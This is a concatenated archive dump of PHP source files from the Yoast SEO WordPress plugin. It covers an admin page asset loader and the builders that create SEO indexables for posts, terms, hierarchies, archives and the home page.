      '; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); \wp_enqueue_media(); $this->asset_manager->enqueue_script( 'general-page' ); $this->asset_manager->enqueue_style( 'general-page' ); if ( $this->promotion_manager->is( 'black-friday-promotion' ) ) { $this->asset_manager->enqueue_style( 'black-friday-banner' ); } $this->asset_manager->localize_script( 'general-page', 'wpseoScriptData', $this->get_script_data() ); } /** * Creates the script data. * * @return array The script data. */ private function get_script_data() { return [ 'preferences' => [ 'isPremium' => $this->product_helper->is_premium(), 'isRtl' => \is_rtl(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'upsellSettings' => [ 'actionId' => 'load-nfd-ctb', 'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2', ], 'llmTxtEnabled' => $this->options_helper->get( 'enable_llms_txt', true ), 'isWooCommerceActive' => $this->woocommerce_conditional->is_met(), 'addonsStatus' => [ 'isWooSeoActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ), 'isLocalSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::LOCAL_SLUG ) ), 'isNewsSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::NEWS_SLUG ) ), 'isVideoSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::VIDEO_SLUG ) ), 'isDuplicatePostActive' => \defined( 'DUPLICATE_POST_FILE' ), ], ], 'adminUrl' => \admin_url( 'admin.php' ), 'linkParams' => $this->shortlink_helper->get_query_params(), 'userEditUrl' => \add_query_arg( 'user_id', '{user_id}', \admin_url( 'user-edit.php' ) ), 'alerts' => $this->notification_helper->get_alerts(), 'currentPromotions' => $this->promotion_manager->get_current_promotions(), 'dismissedAlerts' => $this->alert_dismissal_action->all_dismissed(), 'dashboard' => $this->dashboard_configuration->get_configuration(), 'optInNotificationSeen' => [ 'task_list' => $this->is_task_list_opt_in_notification_seen(), ], 'taskListConfiguration' => $this->task_list_configuration->get_configuration(), ]; } /** * Gets if the llms.txt opt-in notification has been seen. * * @return bool True if the notification has been seen, false otherwise. */ private function is_task_list_opt_in_notification_seen(): bool { $current_user_id = $this->user_helper->get_current_user_id(); return (bool) $this->user_helper->get_meta( $current_user_id, '_yoast_wpseo_task_list_opt_in_notification_seen', true ); } } builders/indexable-date-archive-builder.php000064400000003227152076256160015015 0ustar00options = $options; $this->version = $versions->get_latest_version_for_type( 'date-archive' ); } /** * Formats the data. * * @param Indexable $indexable The indexable to format. * * @return Indexable The extended indexable. */ public function build( $indexable ) { $indexable->object_type = 'date-archive'; $indexable->title = $this->options->get( 'title-archive-wpseo' ); $indexable->description = $this->options->get( 'metadesc-archive-wpseo' ); $indexable->is_robots_noindex = $this->options->get( 'noindex-archive-wpseo' ); $indexable->is_public = ( (int) $indexable->is_robots_noindex !== 1 ); $indexable->blog_id = \get_current_blog_id(); $indexable->permalink = null; $indexable->version = $this->version; return $indexable; } } builders/indexable-builder.php000064400000032033152076256160012460 0ustar00author_builder = $author_builder; $this->post_builder = $post_builder; $this->term_builder = $term_builder; $this->home_page_builder = $home_page_builder; $this->post_type_archive_builder = $post_type_archive_builder; $this->date_archive_builder = $date_archive_builder; $this->system_page_builder = $system_page_builder; $this->hierarchy_builder = $hierarchy_builder; $this->primary_term_builder = $primary_term_builder; $this->indexable_helper = $indexable_helper; $this->version_manager = $version_manager; $this->link_builder = $link_builder; } /** * Sets the indexable repository. Done to avoid circular dependencies. * * @required * * @param Indexable_Repository $indexable_repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $indexable_repository ) { $this->indexable_repository = $indexable_repository; } /** * Creates a clean copy of an Indexable to allow for later database operations. * * @param Indexable $indexable The Indexable to copy. * * @return bool|Indexable */ protected function deep_copy_indexable( $indexable ) { return $this->indexable_repository ->query() ->create( $indexable->as_array() ); } /** * Creates an indexable by its ID and type. * * @param int $object_id The indexable object ID. * @param string $object_type The indexable object type. * @param Indexable|bool $indexable Optional. An existing indexable to overwrite. * * @return bool|Indexable Instance of indexable. False when unable to build. */ public function build_for_id_and_type( $object_id, $object_type, $indexable = false ) { $defaults = [ 'object_type' => $object_type, 'object_id' => $object_id, ]; $indexable = $this->build( $indexable, $defaults ); return $indexable; } /** * Creates an indexable for the homepage. * * @param Indexable|bool $indexable Optional. An existing indexable to overwrite. * * @return Indexable The home page indexable. */ public function build_for_home_page( $indexable = false ) { return $this->build( $indexable, [ 'object_type' => 'home-page' ] ); } /** * Creates an indexable for the date archive. * * @param Indexable|bool $indexable Optional. An existing indexable to overwrite. * * @return Indexable The date archive indexable. */ public function build_for_date_archive( $indexable = false ) { return $this->build( $indexable, [ 'object_type' => 'date-archive' ] ); } /** * Creates an indexable for a post type archive. * * @param string $post_type The post type. * @param Indexable|bool $indexable Optional. An existing indexable to overwrite. * * @return Indexable The post type archive indexable. */ public function build_for_post_type_archive( $post_type, $indexable = false ) { $defaults = [ 'object_type' => 'post-type-archive', 'object_sub_type' => $post_type, ]; return $this->build( $indexable, $defaults ); } /** * Creates an indexable for a system page. * * @param string $page_type The type of system page. * @param Indexable|bool $indexable Optional. An existing indexable to overwrite. * * @return Indexable The search result indexable. */ public function build_for_system_page( $page_type, $indexable = false ) { $defaults = [ 'object_type' => 'system-page', 'object_sub_type' => $page_type, ]; return $this->build( $indexable, $defaults ); } /** * Ensures we have a valid indexable. Creates one if false is passed. * * @param Indexable|false $indexable The indexable. * @param array $defaults The initial properties of the Indexable. * * @return Indexable The indexable. */ protected function ensure_indexable( $indexable, $defaults = [] ) { if ( ! $indexable ) { return $this->indexable_repository->query()->create( $defaults ); } return $indexable; } /** * Build and author indexable from an author id if it does not exist yet, or if the author indexable needs to be upgraded. * * @param int $author_id The author id. * * @return Indexable|false The author indexable if it has been built, `false` if it could not be built. */ protected function maybe_build_author_indexable( $author_id ) { $author_indexable = $this->indexable_repository->find_by_id_and_type( $author_id, 'user', false, ); if ( ! $author_indexable || $this->version_manager->indexable_needs_upgrade( $author_indexable ) ) { // Try to build the author. $author_defaults = [ 'object_type' => 'user', 'object_id' => $author_id, ]; $author_indexable = $this->build( $author_indexable, $author_defaults ); } return $author_indexable; } /** * Checks if the indexable type is one that is not supposed to have object ID for. * * @param string $type The type of the indexable. * * @return bool Whether the indexable type is one that is not supposed to have object ID for. */ protected function is_type_with_no_id( $type ) { return \in_array( $type, [ 'home-page', 'date-archive', 'post-type-archive', 'system-page' ], true ); } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.Missing -- Exceptions are handled by the catch statement in the method. /** * Rebuilds an Indexable from scratch. * * @param Indexable $indexable The Indexable to (re)build. * @param array|null $defaults The object type of the Indexable. * * @return Indexable|false The resulting Indexable. */ public function build( $indexable, $defaults = null ) { // Backup the previous Indexable, if there was one. $indexable_before = ( $indexable ) ? $this->deep_copy_indexable( $indexable ) : null; // Make sure we have an Indexable to work with. $indexable = $this->ensure_indexable( $indexable, $defaults ); try { if ( $indexable->object_id === 0 ) { throw Not_Built_Exception::invalid_object_id( $indexable->object_id ); } switch ( $indexable->object_type ) { case 'post': $indexable = $this->post_builder->build( $indexable->object_id, $indexable ); // Save indexable, to make sure it can be queried when building related objects like the author indexable and hierarchy. $indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before ); // For attachments, we have to make sure to patch any potentially previously cleaned up SEO links. if ( \is_a( $indexable, Indexable::class ) && $indexable->object_sub_type === 'attachment' ) { $this->link_builder->patch_seo_links( $indexable ); } // Always rebuild the primary term. $this->primary_term_builder->build( $indexable->object_id ); // Always rebuild the hierarchy; this needs the primary term to run correctly. $this->hierarchy_builder->build( $indexable ); $this->maybe_build_author_indexable( $indexable->author_id ); // The indexable is already saved, so return early. return $indexable; case 'user': $indexable = $this->author_builder->build( $indexable->object_id, $indexable ); break; case 'term': $indexable = $this->term_builder->build( $indexable->object_id, $indexable ); // Save indexable, to make sure it can be queried when building hierarchy. $indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before ); $this->hierarchy_builder->build( $indexable ); // The indexable is already saved, so return early. return $indexable; case 'home-page': $indexable = $this->home_page_builder->build( $indexable ); break; case 'date-archive': $indexable = $this->date_archive_builder->build( $indexable ); break; case 'post-type-archive': $indexable = $this->post_type_archive_builder->build( $indexable->object_sub_type, $indexable ); break; case 'system-page': $indexable = $this->system_page_builder->build( $indexable->object_sub_type, $indexable ); break; } return $this->indexable_helper->save_indexable( $indexable, $indexable_before ); } catch ( Source_Exception $exception ) { if ( ! $this->is_type_with_no_id( $indexable->object_type ) && ! isset( $indexable->object_id ) ) { return false; } /** * The current indexable could not be indexed. Create a placeholder indexable, so we can * skip this indexable in future indexing runs. * * @var Indexable $indexable */ $indexable = $this->ensure_indexable( $indexable, [ 'object_id' => $indexable->object_id, 'object_type' => $indexable->object_type, 'post_status' => 'unindexed', 'version' => 0, ], ); // If we already had an existing indexable, mark it as unindexed. We cannot rely on its validity anymore. $indexable->post_status = 'unindexed'; // Make sure that the indexing process doesn't get stuck in a loop on this broken indexable. $indexable = $this->version_manager->set_latest( $indexable ); return $this->indexable_helper->save_indexable( $indexable, $indexable_before ); } catch ( Not_Built_Exception $exception ) { return false; } } // phpcs:enable } builders/indexable-social-image-trait.php000064400000011504152076256160014505 0ustar00image = $image; $this->open_graph_image = $open_graph_image; $this->twitter_image = $twitter_image; } /** * Sets the alternative on an indexable. * * @param array $alternative_image The alternative image to set. * @param Indexable $indexable The indexable to set image for. * * @return void */ protected function set_alternative_image( array $alternative_image, Indexable $indexable ) { if ( ! empty( $alternative_image['image_id'] ) ) { if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) { $indexable->open_graph_image_id = $alternative_image['image_id']; $indexable->open_graph_image_source = $alternative_image['source']; $this->set_open_graph_image_meta_data( $indexable ); } if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) { $indexable->twitter_image = $this->twitter_image->get_by_id( $alternative_image['image_id'] ); $indexable->twitter_image_id = $alternative_image['image_id']; $indexable->twitter_image_source = $alternative_image['source']; } } if ( ! empty( $alternative_image['image'] ) ) { if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) { $indexable->open_graph_image = $alternative_image['image']; $indexable->open_graph_image_source = $alternative_image['source']; } if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) { $indexable->twitter_image = $alternative_image['image']; $indexable->twitter_image_source = $alternative_image['source']; } } } /** * Sets the Open Graph image meta data for an og image * * @param Indexable $indexable The indexable. * * @return void */ protected function set_open_graph_image_meta_data( Indexable $indexable ) { if ( ! $indexable->open_graph_image_id ) { return; } $image = $this->open_graph_image->get_image_by_id( $indexable->open_graph_image_id ); if ( ! empty( $image ) ) { $indexable->open_graph_image = $image['url']; $indexable->open_graph_image_meta = WPSEO_Utils::format_json_encode( $image ); } } /** * Handles the social images. * * @param Indexable $indexable The indexable to handle. * * @return void */ protected function handle_social_images( Indexable $indexable ) { // When the image or image id is set. if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) { $indexable->open_graph_image_source = 'set-by-user'; $this->set_open_graph_image_meta_data( $indexable ); } if ( $indexable->twitter_image || $indexable->twitter_image_id ) { $indexable->twitter_image_source = 'set-by-user'; } if ( $indexable->twitter_image_id ) { $indexable->twitter_image = $this->twitter_image->get_by_id( $indexable->twitter_image_id ); } // When image sources are set already. if ( $indexable->open_graph_image_source && $indexable->twitter_image_source ) { return; } $alternative_image = $this->find_alternative_image( $indexable ); if ( ! empty( $alternative_image ) ) { $this->set_alternative_image( $alternative_image, $indexable ); } } /** * Resets the social images. * * @param Indexable $indexable The indexable to set images for. * * @return void */ protected function reset_social_images( Indexable $indexable ) { $indexable->open_graph_image = null; $indexable->open_graph_image_id = null; $indexable->open_graph_image_source = null; $indexable->open_graph_image_meta = null; $indexable->twitter_image = null; $indexable->twitter_image_id = null; $indexable->twitter_image_source = null; } } builders/primary-term-builder.php000064400000005222152076256160013155 0ustar00repository = $repository; $this->indexable_helper = $indexable_helper; $this->primary_term = $primary_term; $this->meta = $meta; } /** * Formats and saves the primary terms for the post with the given post id. * * @param int $post_id The post ID. * * @return void */ public function build( $post_id ) { foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) { $this->save_primary_term( $post_id, $taxonomy->name ); } } /** * Save the primary term for a specific taxonomy. * * @param int $post_id Post ID to save primary term for. * @param string $taxonomy Taxonomy to save primary term for. * * @return void */ protected function save_primary_term( $post_id, $taxonomy ) { $term_id = $this->meta->get_value( 'primary_' . $taxonomy, $post_id ); $term_selected = ! empty( $term_id ); $primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy, $term_selected ); // Removes the indexable when no term found. if ( ! $term_selected ) { if ( $primary_term_indexable ) { $primary_term_indexable->delete(); } return; } $primary_term_indexable->term_id = $term_id; $primary_term_indexable->post_id = $post_id; $primary_term_indexable->taxonomy = $taxonomy; $primary_term_indexable->blog_id = \get_current_blog_id(); $this->indexable_helper->save_indexable( $primary_term_indexable ); } } builders/indexable-hierarchy-builder.php000064400000026361152076256160014443 0ustar00 */ protected $saved_ancestors = []; /** * The indexable repository. * * @var Indexable_Repository */ private $indexable_repository; /** * The indexable hierarchy repository. * * @var Indexable_Hierarchy_Repository */ private $indexable_hierarchy_repository; /** * The primary term repository. * * @var Primary_Term_Repository */ private $primary_term_repository; /** * The options helper. * * @var Options_Helper */ private $options; /** * Holds the Post_Helper instance. * * @var Post_Helper */ private $post; /** * Holds the Indexable_Helper instance. * * @var Indexable_Helper */ private $indexable_helper; /** * Indexable_Author_Builder constructor. * * @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository. * @param Primary_Term_Repository $primary_term_repository The primary term repository. * @param Options_Helper $options The options helper. * @param Post_Helper $post The post helper. * @param Indexable_Helper $indexable_helper The indexable helper. */ public function __construct( Indexable_Hierarchy_Repository $indexable_hierarchy_repository, Primary_Term_Repository $primary_term_repository, Options_Helper $options, Post_Helper $post, Indexable_Helper $indexable_helper ) { $this->indexable_hierarchy_repository = $indexable_hierarchy_repository; $this->primary_term_repository = $primary_term_repository; $this->options = $options; $this->post = $post; $this->indexable_helper = $indexable_helper; } /** * Sets the indexable repository. Done to avoid circular dependencies. * * @required * * @param Indexable_Repository $indexable_repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $indexable_repository ) { $this->indexable_repository = $indexable_repository; } /** * Builds the ancestor hierarchy for an indexable. * * @param Indexable $indexable The indexable. * * @return Indexable The indexable. */ public function build( Indexable $indexable ) { if ( $this->hierarchy_is_built( $indexable ) ) { return $indexable; } if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) { return $indexable; } $this->indexable_hierarchy_repository->clear_ancestors( $indexable->id ); $indexable_id = $this->get_indexable_id( $indexable ); $ancestors = []; if ( $indexable->object_type === 'post' ) { $this->add_ancestors_for_post( $indexable_id, $indexable->object_id, $ancestors ); } if ( $indexable->object_type === 'term' ) { $this->add_ancestors_for_term( $indexable_id, $indexable->object_id, $ancestors ); } $indexable->ancestors = \array_reverse( \array_values( $ancestors ) ); $indexable->has_ancestors = ! empty( $ancestors ); if ( $indexable->id ) { $this->save_ancestors( $indexable ); } return $indexable; } /** * Checks if a hierarchy is built already for the given indexable. * * @param Indexable $indexable The indexable to check. * * @return bool True when indexable has a built hierarchy. */ protected function hierarchy_is_built( Indexable $indexable ) { if ( \in_array( $indexable->id, $this->saved_ancestors, true ) ) { return true; } $this->saved_ancestors[] = $indexable->id; return false; } /** * Saves the ancestors. * * @param Indexable $indexable The indexable. * * @return void */ private function save_ancestors( $indexable ) { if ( empty( $indexable->ancestors ) ) { $this->indexable_hierarchy_repository->add_ancestor( $indexable->id, 0, 0 ); return; } $depth = \count( $indexable->ancestors ); foreach ( $indexable->ancestors as $ancestor ) { $this->indexable_hierarchy_repository->add_ancestor( $indexable->id, $ancestor->id, $depth ); --$depth; } } /** * Adds ancestors for a post. * * @param int $indexable_id The indexable id, this is the id of the original indexable. * @param int $post_id The post id, this is the id of the post currently being evaluated. * @param int[] $parents The indexable IDs of all parents. * * @return void */ private function add_ancestors_for_post( $indexable_id, $post_id, &$parents ) { $post = $this->post->get_post( $post_id ); if ( ! isset( $post->post_parent ) ) { return; } if ( $post->post_parent !== 0 && $this->post->get_post( $post->post_parent ) !== null ) { $ancestor = $this->indexable_repository->find_by_id_and_type( $post->post_parent, 'post' ); if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) { return; } $parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor; $this->add_ancestors_for_post( $indexable_id, $ancestor->object_id, $parents ); return; } $primary_term_id = $this->find_primary_term_id_for_post( $post ); if ( $primary_term_id === 0 ) { return; } $ancestor = $this->indexable_repository->find_by_id_and_type( $primary_term_id, 'term' ); if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) { return; } $parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor; $this->add_ancestors_for_term( $indexable_id, $ancestor->object_id, $parents ); } /** * Adds ancestors for a term. * * @param int $indexable_id The indexable id, this is the id of the original indexable. * @param int $term_id The term id, this is the id of the term currently being evaluated. * @param int[] $parents The indexable IDs of all parents. * * @return void */ private function add_ancestors_for_term( $indexable_id, $term_id, &$parents = [] ) { $term = \get_term( $term_id ); $term_parents = $this->get_term_parents( $term ); foreach ( $term_parents as $parent ) { $ancestor = $this->indexable_repository->find_by_id_and_type( $parent->term_id, 'term' ); if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) { continue; } $parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor; } } /** * Gets the primary term ID for a post. * * @param WP_Post $post The post. * * @return int The primary term ID. 0 if none exists. */ private function find_primary_term_id_for_post( $post ) { $main_taxonomy = $this->options->get( 'post_types-' . $post->post_type . '-maintax' ); if ( ! $main_taxonomy || $main_taxonomy === '0' ) { return 0; } $primary_term_id = $this->get_primary_term_id( $post->ID, $main_taxonomy ); if ( $primary_term_id ) { $term = \get_term( $primary_term_id ); if ( $term !== null && ! \is_wp_error( $term ) ) { return $primary_term_id; } } $terms = \get_the_terms( $post->ID, $main_taxonomy ); if ( ! \is_array( $terms ) || empty( $terms ) ) { return 0; } return $this->find_deepest_term_id( $terms ); } /** * Find the deepest term in an array of term objects. * * @param array $terms Terms set. * * @return int The deepest term ID. */ private function find_deepest_term_id( $terms ) { /* * Let's find the deepest term in this array, by looping through and then * unsetting every term that is used as a parent by another one in the array. */ $terms_by_id = []; foreach ( $terms as $term ) { $terms_by_id[ $term->term_id ] = $term; } foreach ( $terms as $term ) { unset( $terms_by_id[ $term->parent ] ); } /* * As we could still have two subcategories, from different parent categories, * let's pick the one with the lowest ordered ancestor. */ $parents_count = -1; $term_order = 9999; // Because ASC. $deepest_term = \reset( $terms_by_id ); foreach ( $terms_by_id as $term ) { $parents = $this->get_term_parents( $term ); $new_parents_count = \count( $parents ); if ( $new_parents_count < $parents_count ) { continue; } $parent_order = 9999; // Set default order. foreach ( $parents as $parent ) { if ( $parent->parent === 0 && isset( $parent->term_order ) ) { $parent_order = $parent->term_order; } } // Check if parent has lowest order. if ( $new_parents_count > $parents_count || $parent_order < $term_order ) { $term_order = $parent_order; $deepest_term = $term; } $parents_count = $new_parents_count; } return $deepest_term->term_id; } /** * Get a term's parents. * * @param WP_Term $term Term to get the parents for. * * @return WP_Term[] An array of all this term's parents. */ private function get_term_parents( $term ) { $tax = $term->taxonomy; $parents = []; while ( (int) $term->parent !== 0 ) { $term = \get_term( $term->parent, $tax ); $parents[] = $term; } return $parents; } /** * Checks if an ancestor is valid to add. * * @param Indexable $ancestor The ancestor (presumed indexable) to check. * @param int $indexable_id The indexable id we're adding ancestors for. * @param int[] $parents The indexable ids of the parents already added. * * @return bool */ private function is_invalid_ancestor( $ancestor, $indexable_id, $parents ) { // If the ancestor is not an Indexable, it is invalid by default. if ( ! \is_a( $ancestor, 'Yoast\WP\SEO\Models\Indexable' ) ) { return true; } // Don't add ancestors if they're unindexed, already added or the same as the main object. if ( $ancestor->post_status === 'unindexed' ) { return true; } $ancestor_id = $this->get_indexable_id( $ancestor ); if ( \array_key_exists( $ancestor_id, $parents ) ) { return true; } if ( $ancestor_id === $indexable_id ) { return true; } return false; } /** * Returns the ID for an indexable. Catches situations where the id is null due to errors. * * @param Indexable $indexable The indexable. * * @return string|int A unique ID for the indexable. */ private function get_indexable_id( Indexable $indexable ) { if ( $indexable->id === 0 ) { return "{$indexable->object_type}:{$indexable->object_id}"; } return $indexable->id; } /** * Returns the primary term id of a post. * * @param int $post_id The post ID. * @param string $main_taxonomy The main taxonomy. * * @return int The ID of the primary term. */ private function get_primary_term_id( $post_id, $main_taxonomy ) { $primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false ); if ( $primary_term ) { return $primary_term->term_id; } return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true ); } } builders/indexable-post-builder.php000064400000030145152076256160013445 0ustar00post_helper = $post_helper; $this->post_type_helper = $post_type_helper; $this->version = $versions->get_latest_version_for_type( 'post' ); $this->meta = $meta; $this->permalink_helper = $permalink_helper; } /** * Sets the indexable repository. Done to avoid circular dependencies. * * @required * * @param Indexable_Repository $indexable_repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $indexable_repository ) { $this->indexable_repository = $indexable_repository; } /** * Formats the data. * * @param int $post_id The post ID to use. * @param Indexable $indexable The indexable to format. * * @return bool|Indexable The extended indexable. False when unable to build. * * @throws Post_Not_Found_Exception When the post could not be found. * @throws Post_Not_Built_Exception When the post should not be indexed. */ public function build( $post_id, $indexable ) { if ( ! $this->post_helper->is_post_indexable( $post_id ) ) { throw Post_Not_Built_Exception::because_not_indexable( $post_id ); } $post = $this->post_helper->get_post( $post_id ); if ( $post === null ) { throw new Post_Not_Found_Exception(); } if ( $this->should_exclude_post( $post ) ) { throw Post_Not_Built_Exception::because_post_type_excluded( $post_id ); } $indexable->object_id = $post_id; $indexable->object_type = 'post'; $indexable->object_sub_type = $post->post_type; $indexable->permalink = $this->permalink_helper->get_permalink_for_post( $post->post_type, $post_id ); $indexable->primary_focus_keyword_score = $this->get_keyword_score( $this->meta->get_value( 'focuskw', $post_id ), (int) $this->meta->get_value( 'linkdex', $post_id ), ); $indexable->readability_score = (int) $this->meta->get_value( 'content_score', $post_id ); $indexable->inclusive_language_score = (int) $this->meta->get_value( 'inclusive_language_score', $post_id ); $indexable->is_cornerstone = ( $this->meta->get_value( 'is_cornerstone', $post_id ) === '1' ); $indexable->is_robots_noindex = $this->get_robots_noindex( (int) $this->meta->get_value( 'meta-robots-noindex', $post_id ), ); // Set additional meta-robots values. $indexable->is_robots_nofollow = ( $this->meta->get_value( 'meta-robots-nofollow', $post_id ) === '1' ); $noindex_advanced = $this->meta->get_value( 'meta-robots-adv', $post_id ); $meta_robots = \explode( ',', $noindex_advanced ); foreach ( $this->get_robots_options() as $meta_robots_option ) { $indexable->{'is_robots_' . $meta_robots_option} = \in_array( $meta_robots_option, $meta_robots, true ) ? 1 : null; } $this->reset_social_images( $indexable ); foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) { $indexable->{$indexable_key} = $this->empty_string_to_null( $this->meta->get_value( $meta_key, $post_id ) ); } if ( empty( $indexable->breadcrumb_title ) ) { $indexable->breadcrumb_title = \wp_strip_all_tags( \get_the_title( $post_id ), true ); } $this->handle_social_images( $indexable ); $indexable->author_id = $post->post_author; $indexable->post_parent = $post->post_parent; $indexable->number_of_pages = $this->get_number_of_pages_for_post( $post ); $indexable->post_status = $post->post_status; $indexable->is_protected = $post->post_password !== ''; $indexable->is_public = $this->is_public( $indexable ); $indexable->has_public_posts = $this->has_public_posts( $indexable ); $indexable->blog_id = \get_current_blog_id(); $indexable->schema_page_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_page_type', $post_id ) ); $indexable->schema_article_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_article_type', $post_id ) ); $indexable->object_last_modified = $post->post_modified_gmt; $indexable->object_published_at = $post->post_date_gmt; $indexable->version = $this->version; return $indexable; } /** * Determines the value of is_public. * * @param Indexable $indexable The indexable. * * @return bool|null Whether or not the post type is public. Null if no override is set. */ protected function is_public( $indexable ) { if ( $indexable->is_protected === true ) { return false; } if ( $indexable->is_robots_noindex === true ) { return false; } // Attachments behave differently than the other post types, since they inherit from their parent. if ( $indexable->object_sub_type === 'attachment' ) { return $this->is_public_attachment( $indexable ); } if ( ! \in_array( $indexable->post_status, $this->post_helper->get_public_post_statuses(), true ) ) { return false; } if ( $indexable->is_robots_noindex === false ) { return true; } return null; } /** * Determines the value of is_public for attachments. * * @param Indexable $indexable The indexable. * * @return bool|null False when it has no parent. Null when it has a parent. */ protected function is_public_attachment( $indexable ) { // If the attachment has no parent, it should not be public. if ( empty( $indexable->post_parent ) ) { return false; } // If the attachment has a parent, the is_public should be NULL. return null; } /** * Determines the value of has_public_posts. * * @param Indexable $indexable The indexable. * * @return bool|null Whether the attachment has a public parent, can be true, false and null. Null when it is not an attachment. */ protected function has_public_posts( $indexable ) { // Only attachments (and authors) have this value. if ( $indexable->object_sub_type !== 'attachment' ) { return null; } // The attachment should have a post parent. if ( empty( $indexable->post_parent ) ) { return false; } // The attachment should inherit the post status. if ( $indexable->post_status !== 'inherit' ) { return false; } // The post parent should be public. $post_parent_indexable = $this->indexable_repository->find_by_id_and_type( $indexable->post_parent, 'post' ); if ( $post_parent_indexable !== false ) { return $post_parent_indexable->is_public; } return false; } /** * Converts the meta robots noindex value to the indexable value. * * @param int $value Meta value to convert. * * @return bool|null True for noindex, false for index, null for default of parent/type. */ protected function get_robots_noindex( $value ) { $value = (int) $value; switch ( $value ) { case 1: return true; case 2: return false; } return null; } /** * Retrieves the robot options to search for. * * @return array List of robots values. */ protected function get_robots_options() { return [ 'noimageindex', 'noarchive', 'nosnippet' ]; } /** * Determines the focus keyword score. * * @param string $keyword The focus keyword that is set. * @param int $score The score saved on the meta data. * * @return int|null Score to use. */ protected function get_keyword_score( $keyword, $score ) { if ( empty( $keyword ) ) { return null; } return $score; } /** * Retrieves the lookup table. * * @return array Lookup table for the indexable fields. */ protected function get_indexable_lookup() { return [ 'focuskw' => 'primary_focus_keyword', 'canonical' => 'canonical', 'title' => 'title', 'metadesc' => 'description', 'bctitle' => 'breadcrumb_title', 'opengraph-title' => 'open_graph_title', 'opengraph-image' => 'open_graph_image', 'opengraph-image-id' => 'open_graph_image_id', 'opengraph-description' => 'open_graph_description', 'twitter-title' => 'twitter_title', 'twitter-image' => 'twitter_image', 'twitter-image-id' => 'twitter_image_id', 'twitter-description' => 'twitter_description', 'estimated-reading-time-minutes' => 'estimated_reading_time_minutes', ]; } /** * Finds an alternative image for the social image. * * @param Indexable $indexable The indexable. * * @return array|bool False when not found, array with data when found. */ protected function find_alternative_image( Indexable $indexable ) { if ( $indexable->object_sub_type === 'attachment' && $this->image->is_valid_attachment( $indexable->object_id ) ) { return [ 'image_id' => $indexable->object_id, 'source' => 'attachment-image', ]; } $featured_image_id = $this->image->get_featured_image_id( $indexable->object_id ); if ( $featured_image_id ) { return [ 'image_id' => $featured_image_id, 'source' => 'featured-image', ]; } $gallery_image = $this->image->get_gallery_image( $indexable->object_id ); if ( $gallery_image ) { return [ 'image' => $gallery_image, 'source' => 'gallery-image', ]; } $content_image = $this->image->get_post_content_image( $indexable->object_id ); if ( $content_image ) { return [ 'image' => $content_image, 'source' => 'first-content-image', ]; } return false; } /** * Gets the number of pages for a post. * * @param object $post The post object. * * @return int|null The number of pages or null if the post isn't paginated. */ protected function get_number_of_pages_for_post( $post ) { $number_of_pages = ( \substr_count( $post->post_content, '' ) + 1 ); if ( $number_of_pages <= 1 ) { return null; } return $number_of_pages; } /** * Checks whether an indexable should be built for this post. * * @param WP_Post $post The post for which an indexable should be built. * * @return bool `true` if the post should be excluded from building, `false` if not. */ protected function should_exclude_post( $post ) { return $this->post_type_helper->is_excluded( $post->post_type ); } /** * Transforms an empty string into null. Leaves non-empty strings intact. * * @param string $text The string. * * @return string|null The input string or null. */ protected function empty_string_to_null( $text ) { if ( ! \is_string( $text ) || $text === '' ) { return null; } return $text; } } builders/indexable-home-page-builder.php000064400000010544152076256160014323 0ustar00options = $options; $this->url_helper = $url_helper; $this->version = $versions->get_latest_version_for_type( 'home-page' ); $this->post_helper = $post_helper; } /** * Formats the data. * * @param Indexable $indexable The indexable to format. * * @return Indexable The extended indexable. */ public function build( $indexable ) { $indexable->object_type = 'home-page'; $indexable->title = $this->options->get( 'title-home-wpseo' ); $indexable->breadcrumb_title = $this->options->get( 'breadcrumbs-home' ); $indexable->permalink = $this->url_helper->home(); $indexable->blog_id = \get_current_blog_id(); $indexable->description = $this->options->get( 'metadesc-home-wpseo' ); if ( empty( $indexable->description ) ) { $indexable->description = \get_bloginfo( 'description' ); } $indexable->is_robots_noindex = \get_option( 'blog_public' ) === '0'; $indexable->open_graph_title = $this->options->get( 'open_graph_frontpage_title' ); $indexable->open_graph_image = $this->options->get( 'open_graph_frontpage_image' ); $indexable->open_graph_image_id = $this->options->get( 'open_graph_frontpage_image_id' ); $indexable->open_graph_description = $this->options->get( 'open_graph_frontpage_desc' ); // Reset the OG image source & meta. $indexable->open_graph_image_source = null; $indexable->open_graph_image_meta = null; // When the image or image id is set. if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) { $indexable->open_graph_image_source = 'set-by-user'; 